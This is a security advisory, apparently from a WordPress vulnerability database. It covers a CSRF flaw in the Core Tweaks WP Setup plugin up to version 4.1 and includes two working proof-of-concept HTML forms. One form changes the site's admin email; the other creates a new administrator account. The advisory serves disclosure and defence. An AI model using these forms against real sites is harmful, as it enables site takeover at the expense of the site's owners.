Core Tweaks WP Setup <= 4.1 - Arbitrary Admin Account Creation / Admin Email Update via CSRF

2021-10-2100:00:00

Francesco Carlucci

0.001 Low

EPSS

Percentile

43.4%

JSON

The plugin allows to bulk-set many settings in WordPress, including the admin email, as well as creating a new admin account. There is no CSRF protection in place, allowing an attacker to arbitrary change the admin email or create another admin account and takeover the website via CSRF attacks

Change current admin email (then attacker can request a password change via the login form)
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="email_2" value="ON" />
      <input type="hidden" name="admin_email" value="[email protected]" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Add a new admin account:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="new_user" value="ON" />
      <input type="hidden" name="new_login" value="admin-csrf" />
      <input type="hidden" name="new_pass" value="Passw0rd" />
      <input type="hidden" name="new_email" value="[email protected]" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

43.4%

JSON

Related for WPEX-ID:97ADAC02-4163-48D4-BA14-0B1BADFD3D42